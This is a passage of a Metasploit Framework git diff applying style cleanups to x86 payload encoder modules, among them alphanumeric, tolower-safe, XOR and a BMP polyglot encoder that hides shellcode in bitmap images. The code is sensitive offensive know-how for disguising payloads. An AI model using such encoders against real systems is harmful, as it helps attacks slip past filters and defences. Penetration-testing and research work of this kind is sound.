Rex::Encoder::Alpha2::AlphaMixed.encode_byte(block.unpack('C')[0], state.badchars) end # # Tack on our terminator # def encode_end(state) - state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator() + state.encoded += Rex::Encoder::Alpha2::AlphaMixed.add_terminator end # Indicate that this module can preserve some registers diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index 515b95a5523cb..1c15b70d4af63 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -10,22 +10,21 @@ class MetasploitModule < Msf::Encoder::Alphanum def initialize super( - 'Name' => "Alpha2 Alphanumeric Uppercase Encoder", - 'Description' => %q{ + 'Name' => 'Alpha2 Alphanumeric Uppercase Encoder', + 'Description' => %q{ Encodes payloads as alphanumeric uppercase text. This encoder uses SkyLined's Alpha2 encoding suite. A pure alpha encoder is impossible without having a register that points at or near the shellcode. In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric. You can set BufferRegister for full alpha (see Encoder options for details). }, - 'Author' => [ 'pusscat', 'skylined' ], - 'Arch' => ARCH_X86, - 'License' => BSD_LICENSE, - 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, - 'Decoder' => - { - 'BlockSize' => 1, - }) + 'Author' => [ 'pusscat', 'skylined' ], + 'Arch' => ARCH_X86, + 'License' => BSD_LICENSE, + 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, + 'Decoder' => { + 'BlockSize' => 1 + }) end # @@ -39,34 +38,36 @@ def decoder_stub(state) buf = '' # We need to create a GetEIP stub for the exploit - if (not reg) - if(datastore['AllowWin32SEH'] and datastore['AllowWin32SEH'].to_s =~ /^(t|y|1)/i) + if !reg + if datastore['AllowWin32SEH'] && datastore['AllowWin32SEH'].to_s =~ (/^(t|y|1)/i) buf = 'VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816' reg = 'ECX' off = 0 - modified_registers.concat ( + modified_registers.concat( [ Rex::Arch::X86::ESP, Rex::Arch::X86::EDI, Rex::Arch::X86::ESI, Rex::Arch::X86::EAX - ]) + ] + ) else res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers) - if (not res) - raise EncodingError, "Unable to generate geteip code" + if !res + raise EncodingError, 'Unable to generate geteip code' end - buf, reg, off = res + + buf, reg, off = res end else reg.upcase! end - stub = buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off, modified_registers) + stub = buf + Rex::Encoder::Alpha2::AlphaUpper.gen_decoder(reg, off, modified_registers) # Sanity check that saved_registers doesn't overlap with modified_registers modified_registers.uniq! - if (modified_registers & saved_registers).length > 0 + if !(modified_registers & saved_registers).empty? raise BadGenerateError end @@ -78,14 +79,14 @@ def decoder_stub(state) # payload. # def encode_block(state, block) - return Rex::Encoder::Alpha2::AlphaUpper::encode_byte(block.unpack('C')[0], state.badchars) + return Rex::Encoder::Alpha2::AlphaUpper.encode_byte(block.unpack('C')[0], state.badchars) end # # Tack on our terminator # def encode_end(state) - state.encoded += Rex::Encoder::Alpha2::AlphaUpper::add_terminator() + state.encoded += Rex::Encoder::Alpha2::AlphaUpper.add_terminator end # Indicate that this module can preserve some registers diff --git a/modules/encoders/x86/avoid_underscore_tolower.rb b/modules/encoders/x86/avoid_underscore_tolower.rb index 747c7772f0637..3463a9119e76e 100644 --- a/modules/encoders/x86/avoid_underscore_tolower.rb +++ b/modules/encoders/x86/avoid_underscore_tolower.rb @@ -18,8 +18,8 @@ class MetasploitModule < Msf::Encoder # "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f" def initialize super( - 'Name' => 'Avoid underscore/tolower', - 'Description' => %q{ + 'Name' => 'Avoid underscore/tolower', + 'Description' => %q{ Underscore/tolower Safe Encoder used to exploit CVE-2012-2329. It is a modified version of the 'Avoid UTF8/tolower' encoder by skape. Please check the documentation of the skape encoder before using it. As the original, @@ -31,19 +31,17 @@ def initialize transformation block, having into account more relaxed conditions about bad characters greater than 0x80. }, - 'Author' => - [ - 'skape', # avoid_utf8_lower Author - 'juan vazquez' # Adapted to be usable on CVE-2012-2329 - ], - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4, - }) + 'Author' => [ + 'skape', # avoid_utf8_lower Author + 'juan vazquez' # Adapted to be usable on CVE-2012-2329 + ], + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4 + }) end # @@ -65,13 +63,13 @@ def decoder_stub(state) end decoder = - "\x6a" + [len].pack('C') + # push len - "\x6b\x3c\x24\x09" + # imul 0x9 - "\x60" + # pusha - "\x03\x0c\x24" + # add ecx, [esp] - "\x6a" + [0x11+off].pack('C') + # push byte 0x11 + off - "\x03\x0c\x24" + # add ecx, [esp] - "\x6a\x04" # push byte 0x4 + "\x6a" + [len].pack('C') + # push len + "\x6b\x3c\x24\x09" + # imul 0x9 + "\x60" + # pusha + "\x03\x0c\x24" + # add ecx, [esp] + "\x6a" + [0x11 + off].pack('C') + # push byte 0x11 + off + "\x03\x0c\x24" + # add ecx, [esp] + "\x6a\x04" # push byte 0x4 # encoded sled state.context = '' @@ -82,11 +80,11 @@ def decoder_stub(state) def encode_block(state, block) buf = try_add(state, block) - if (buf.nil?) + if buf.nil? buf = try_sub(state, block) end - if (buf.nil?) + if buf.nil? raise BadcharError.new(state.encoded, 0, 0, 0) end @@ -106,30 +104,29 @@ def encode_end(state) # two underscore/tolower safe values. # def try_sub(state, block) - buf = "\x81\x29"; - vbuf = '' - ctx = '' + buf = "\x81\x29" + vbuf = '' + ctx = '' carry = 0 - block.each_byte { |b| - - x = 0 - y = 0 - attempts = 0 + block.each_byte do |b| + x = 0 + y = 0 + attempts = 0 prev_carry = carry - begin + loop do carry = prev_carry if (b > 0x80) - diff = 0x100 - b - y = rand(0x80 - diff - 1).to_i + 1 - x = (0x100 - (b - y + carry)) + diff = 0x100 - b + y = rand(0x80 - diff - 1).to_i + 1 + x = (0x100 - (b - y + carry)) carry = 1 else - diff = 0x7f - b - x = rand(diff - 1) + 1 - y = (b + x + carry) & 0xff + diff = 0x7f - b + x = rand(diff - 1) + 1 + y = (b + x + carry) & 0xff carry = 0 end @@ -137,19 +134,18 @@ def try_sub(state, block) # Lame. return nil if (attempts > 512) - - end while (is_badchar(state, x) or is_badchar(state, y)) + break unless is_badchar(state, x) || is_badchar(state, y) + end vbuf += [x].pack('C') - ctx += [y].pack('C') - } + ctx += [y].pack('C') + end buf += vbuf + "\x03\x0c\x24" state.context += ctx return buf - end # @@ -158,32 +154,30 @@ def try_sub(state, block) # safe values. # def try_add(state, block) - buf = "\x81\x01" + buf = "\x81\x01" vbuf = '' - ctx = '' - - block.each_byte { |b| + ctx = '' + block.each_byte do |b| attempts = 0 - begin + loop do if b == 0x00 xv = rand(b - 1) # badchars will kill 0x00 if it isn't allowed else xv = rand(b - 1) + 1 end - attempts += 1 # Lame. return nil if (attempts > 512) - - end while (is_badchar(state, xv) or is_badchar(state, b - xv)) + break unless is_badchar(state, xv) || is_badchar(state, b - xv) + end vbuf += [xv].pack('C') - ctx += [b - xv].pack('C') - } + ctx += [b - xv].pack('C') + end buf += vbuf + "\x03\x0c\x24" diff --git a/modules/encoders/x86/avoid_utf8_tolower.rb b/modules/encoders/x86/avoid_utf8_tolower.rb index f4c4c570f1913..dd7e1a7f3f164 100644 --- a/modules/encoders/x86/avoid_utf8_tolower.rb +++ b/modules/encoders/x86/avoid_utf8_tolower.rb @@ -92,17 +92,16 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Avoid UTF8/tolower', - 'Description' => 'UTF8 Safe, tolower Safe Encoder', - 'Author' => 'skape', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4, - }) + 'Name' => 'Avoid UTF8/tolower', + 'Description' => 'UTF8 Safe, tolower Safe Encoder', + 'Author' => 'skape', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4 + }) end # @@ -118,17 +117,17 @@ def decoder_stub(state) # Check to make sure that the length is a valid size if is_badchar(state, len) - raise EncodingError.new("The payload being encoded is of an incompatible size (#{len} bytes)") + raise EncodingError, "The payload being encoded is of an incompatible size (#{len} bytes)" end decoder = - "\x6a" + [len].pack('C') + # push len - "\x6b\x3c\x24\x0b" + # imul 0xb - "\x60" + # pusha - "\x03\x0c\x24" + # add ecx, [esp] - "\x6a" + [0x11+off].pack('C') + # push byte 0x11 + off - "\x03\x0c\x24" + # add ecx, [esp] - "\x6a\x04" # push byte 0x4 + "\x6a" + [len].pack('C') + # push len + "\x6b\x3c\x24\x0b" + # imul 0xb + "\x60" + # pusha + "\x03\x0c\x24" + # add ecx, [esp] + "\x6a" + [0x11 + off].pack('C') + # push byte 0x11 + off + "\x03\x0c\x24" + # add ecx, [esp] + "\x6a\x04" # push byte 0x4 # encoded sled state.context = '' @@ -139,11 +138,11 @@ def decoder_stub(state) def encode_block(state, block) buf = try_add(state, block) - if (buf.nil?) + if buf.nil? buf = try_sub(state, block) end - if (buf.nil?) + if buf.nil? raise BadcharError.new(state.encoded, 0, 0, 0) end @@ -163,33 +162,33 @@ def encode_end(state) # two UTF8/tolower safe values. # def try_sub(state, block) - buf = "\x68"; - vbuf = '' - ctx = '' + buf = "\x68" + vbuf = '' + ctx = '' carry = 0 - block.each_byte { |b| + block.each_byte do |b| # It's impossible to reach 0x7f, 0x80, 0x81 with two subs # of a value that is < 0x80 without NULLs. - return nil if (b == 0x80 or b == 0x81 or b == 0x7f) + return nil if (b == 0x80) || (b == 0x81) || (b == 0x7f) - x = 0 - y = 0 - attempts = 0 + x = 0 + y = 0 + attempts = 0 prev_carry = carry - begin + loop do carry = prev_carry if (b > 0x80) - diff = 0x100 - b - y = rand(0x80 - diff - 1).to_i + 1 - x = (0x100 - (b - y + carry)) + diff = 0x100 - b + y = rand(0x80 - diff - 1).to_i + 1 + x = (0x100 - (b - y + carry)) carry = 1 else - diff = 0x7f - b - x = rand(diff - 1) + 1 - y = (b + x + carry) & 0xff + diff = 0x7f - b + x = rand(diff - 1) + 1 + y = (b + x + carry) & 0xff carry = 0 end @@ -197,19 +196,18 @@ def try_sub(state, block) # Lame. return nil if (attempts > 512) - - end while (is_badchar(state, x) or is_badchar(state, y)) + break unless is_badchar(state, x) || is_badchar(state, y) + end vbuf += [x].pack('C') - ctx += [y].pack('C') - } + ctx += [y].pack('C') + end buf += vbuf + "\x5f\x29\x39\x03\x0c\x24" state.context += ctx return buf - end # @@ -218,30 +216,30 @@ def try_sub(state, block) # safe values. # def try_add(state, block) - buf = "\x68" + buf = "\x68" vbuf = '' - ctx = '' + ctx = '' - block.each_byte { |b| + block.each_byte do |b| # It's impossible to produce 0xff and 0x01 using two non-NULL, # tolower safe, and UTF8 safe values. - return nil if (b == 0xff or b == 0x01 or b == 0x00) + return nil if (b == 0xff) || (b == 0x01) || (b == 0x00) attempts = 0 - begin + loop do xv = rand(b - 1) + 1 attempts += 1 # Lame. return nil if (attempts > 512) - - end while (is_badchar(state, xv) or is_badchar(state, b - xv)) + break unless is_badchar(state, xv) || is_badchar(state, b - xv) + end vbuf += [xv].pack('C') - ctx += [b - xv].pack('C') - } + ctx += [b - xv].pack('C') + end buf += vbuf + "\x5f\x01\x39\x03\x0c\x24" diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb index cce2038c83ab3..f5d04dd6ca81c 100644 --- a/modules/encoders/x86/bloxor.rb +++ b/modules/encoders/x86/bloxor.rb @@ -25,25 +25,24 @@ class MetasploitModule < Rex::Encoder::BloXor - # Note: Currently set to manual, bump it up to automatically get selected by the framework. + # NOTE: Currently set to manual, bump it up to automatically get selected by the framework. # Note: BloXor by design is slow due to its exhaustive search for a solution. Rank = ManualRanking def initialize super( - 'Name' => 'BloXor - A Metamorphic Block Based XOR Encoder', + 'Name' => 'BloXor - A Metamorphic Block Based XOR Encoder', 'Description' => 'A Metamorphic Block Based XOR Encoder.', - 'Author' => [ 'sf' ], - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, + 'Author' => [ 'sf' ], + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, 'EncoderType' => Msf::Encoder::Type::Unspecified ) end - def compute_decoder( state ) + def compute_decoder(state) + @machine = Rex::Poly::MachineX86.new(state.badchars) - @machine = Rex::Poly::MachineX86.new( state.badchars ) - - super( state ) + super(state) end end diff --git a/modules/encoders/x86/bmp_polyglot.rb b/modules/encoders/x86/bmp_polyglot.rb index 1d22807ee6b25..11e8f4ffacee0 100644 --- a/modules/encoders/x86/bmp_polyglot.rb +++ b/modules/encoders/x86/bmp_polyglot.rb @@ -67,6 +67,7 @@ class SizeCalculator def initialize(size, minimum_jump) @original_size = size raise if minimum_jump < 0 || minimum_jump > 0xff + @minimum_jump = minimum_jump end @@ -76,7 +77,8 @@ def calculate possibles << size unless size.nil? size = new_size_short possibles << size unless size.nil? - return if possibles.length == 0 + return if possibles.empty? + possibles.min end @@ -91,7 +93,7 @@ def new_size_long byte_4 = size[i + 4].to_i min_jmp = (@minimum_jump - 5 - i) - if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large + if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large if byte_0 > 0xfd size = increment_size(size, i) end @@ -114,7 +116,8 @@ def new_size_long end def new_size_short - return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max) + return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max) + size = [ @original_size ].pack('V').unpack('CCCC') 0.upto(2) do |i| @@ -146,12 +149,12 @@ def size_to_jmp(size) packed = [ size, 0 ].pack('VV') until [ "\xe9", "\xeb" ].include?(packed[0]) - packed = packed[1..-1] + packed = packed[1..] jmp += 1 end if packed[0] == "\xe9" - jmp += packed[1..4].unpack('V')[0] + jmp += packed[1..4].unpack('V')[0] jmp += 5 elsif packed[0] == "\xeb" jmp += packed[1].unpack('C')[0] @@ -184,8 +187,8 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'BMP Polyglot', - 'Description' => %q{ + 'Name' => 'BMP Polyglot', + 'Description' => %q{ Encodes a payload in such a way that the resulting binary blob is both valid x86 shellcode and a valid bitmap image file (.bmp). The selected bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header @@ -194,20 +197,19 @@ def initialize compression. This encoder makes absolutely no effort to remove any invalid characters. }, - 'Author' => 'Spencer McIntyre', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ] - ] + 'Author' => 'Spencer McIntyre', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ] + ] ) register_options( [ OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ]) - ], - self.class) + ] + ) end def can_preserve_registers? @@ -219,7 +221,7 @@ def preserves_stack? end def make_pad(size) - (0...size).map { (rand(0x100)).chr }.join + (0...size).map { rand(0x100).chr }.join end def modified_registers @@ -236,7 +238,7 @@ def modified_registers # - large enough to store all of the image data and the assembly stub # - is also a valid x86 jmp instruction to land on the assembly stub def calc_new_size(orig_size, stub_length) - minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header + minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header calc = SizeCalculator.new(orig_size + stub_length, minimum_jump) size = calc.calculate.to_i raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size @@ -244,7 +246,7 @@ def calc_new_size(orig_size, stub_length) jump = calc.size_to_jmp(size) pre_pad = jump - minimum_jump post_pad = size - orig_size - stub_length - pre_pad - return { :new_size => size, :post_pad => post_pad, :pre_pad => pre_pad } + return { new_size: size, post_pad: post_pad, pre_pad: pre_pad } end # calculate the least number of bits that must be modified to place the @@ -253,13 +255,15 @@ def calc_required_lsbs(sc_len, data_len) return 1 if sc_len * 8 <= data_len return 2 if sc_len * 4 <= data_len return 4 if sc_len * 2 <= data_len + raise EncodingError, 'Bad .bmp, not enough image data for stego operation' end # asm stub that will extract the payload from the least significant bits of # the binary data which directly follows it def make_destego_stub(shellcode_size, padding, lsbs = 1) - raise RuntimeError, 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs) + raise 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs) + gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle ptr_regs = [ 'edi', 'esi' ].shuffle # declare logical registers @@ -271,79 +275,69 @@ def make_destego_stub(shellcode_size, padding, lsbs = 1) endb = Rex::Poly::SymbolicBlock::End.new - get_eip_nop = Proc.new { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr } - get_eip = Proc.new { |b| + get_eip_nop = proc { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr } + get_eip = proc do |e| [ - Proc.new { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr }, - Proc.new { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr }, - ].sample.call(b) - } - set_src_addr = Proc.new { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') } - set_dst_addr = Proc.new { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr } - set_byte_ctr = Proc.new { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') } - adjust_src_addr = Proc.new { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') } + proc { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr }, + proc { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr }, + ].sample.call(e) + end + set_src_addr = proc { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') } + set_dst_addr = proc { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr } + set_byte_ctr = proc { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') } + adjust_src_addr = proc { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') } initialize = Rex::Poly::LogicalBlock.new('initialize', - Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) }, - Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) }, - Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) }, - Proc.new { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) }, - Proc.new { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) }, - ) - - clr_byte_reg = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr } - clr_ctr = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr } - backup_byte_ctr = Proc.new { |b| (0x50 + b.regnum_of(ctr_reg)).chr } - set_bit_ctr = Proc.new { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr } + proc { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) }, + proc { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) }, + proc { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) }, + proc { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) }, + proc { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) }) + + clr_byte_reg = proc { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr } + clr_ctr = proc { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr } + backup_byte_ctr = proc { |b| (0x50 + b.regnum_of(ctr_reg)).chr } + set_bit_ctr = proc { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr } get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop', - Proc.new { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) }, - Proc.new { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) }, - Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) }, - Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) }, - ) + proc { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) }, + proc { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) }, + proc { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) }, + proc { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) }) get_byte_loop.depends_on(initialize) shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg', - Proc.new { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr } - ) + proc { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr }) read_byte = Rex::Poly::LogicalBlock.new('read_byte', - Proc.new { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr } - ) + proc { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr }) inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg', - Proc.new { |b| (0x40 + b.regnum_of(src_addr_reg)).chr } - ) + proc { |b| (0x40 + b.regnum_of(src_addr_reg)).chr }) inc_src_reg.depends_on(read_byte) get_lsb = Rex::Poly::LogicalBlock.new('get_lsb', - Proc.new { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr } - ) + proc { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr }) get_lsb.depends_on(read_byte) put_lsb = Rex::Poly::LogicalBlock.new('put_lsb', - Proc.new { |b| "\x08"+ (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr } - ) + proc { |b| "\x08" + (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr }) put_lsb.depends_on(get_lsb, shift_byte_reg) jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body') jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg) jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop', - Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr } - ) + proc { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr }) jmp_bit_loop.depends_on(jmp_bit_loop_body) get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])) get_bit_loop.depends_on(get_byte_loop) - put_byte = Proc.new { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr } - inc_dst_reg = Proc.new { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr } - restore_byte_ctr = Proc.new { |b| (0x58 + b.regnum_of(ctr_reg)).chr } + put_byte = proc { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr } + inc_dst_reg = proc { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr } + restore_byte_ctr = proc { |b| (0x58 + b.regnum_of(ctr_reg)).chr } get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post', - Proc.new { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) }, - Proc.new { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) }, - Proc.new { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) }, - ) + proc { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) }, + proc { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) }, + proc { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) }) get_byte_post.depends_on(get_bit_loop) jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body', - Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr } - ) + proc { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr }) jmp_byte_loop_body.depends_on(get_byte_post) finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61") @@ -374,13 +368,13 @@ def stegoify(shellcode, data, lsbs = 1) end def validate_dib_header(dib_header) - size, _, _, _, bbp, compression, _, _, _, _, _ = dib_header.unpack('VVVvvVVVVVV') + size, _, _, _, bbp, compression, *_rest = dib_header.unpack('VVVvvVVVVVV') raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32 raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0 end - def encode(buf, badchars = nil, state = nil, platform = nil) + def encode(buf, _badchars = nil, _state = nil, _platform = nil) in_bmp = File.open(datastore['BitmapFile'], 'rb') header = in_bmp.read(BM_HEADER_SIZE) @@ -390,6 +384,7 @@ def encode(buf, badchars = nil, state = nil, platform = nil) header, original_size, _, _, original_offset = header.unpack('vVvvV') raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42 + validate_dib_header(dib_header) lsbs = calc_required_lsbs(buf.length, image_data.length) diff --git a/modules/encoders/x86/call4_dword_xor.rb b/modules/encoders/x86/call4_dword_xor.rb index caf95d2460cf5..b04742492891c 100644 --- a/modules/encoders/x86/call4_dword_xor.rb +++ b/modules/encoders/x86/call4_dword_xor.rb @@ -7,16 +7,15 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'Call+4 Dword XOR Encoder', - 'Description' => 'Call+4 Dword XOR Encoder', - 'Author' => [ 'hdm', 'spoonm' ], - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4, - }) + 'Name' => 'Call+4 Dword XOR Encoder', + 'Description' => 'Call+4 Dword XOR Encoder', + 'Author' => [ 'hdm', 'spoonm' ], + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4 + }) end # @@ -24,21 +23,20 @@ def initialize # the buffer being encoded # def decoder_stub(state) - # Sanity check that saved_registers doesn't overlap with modified_registers - if (modified_registers & saved_registers).length > 0 + if 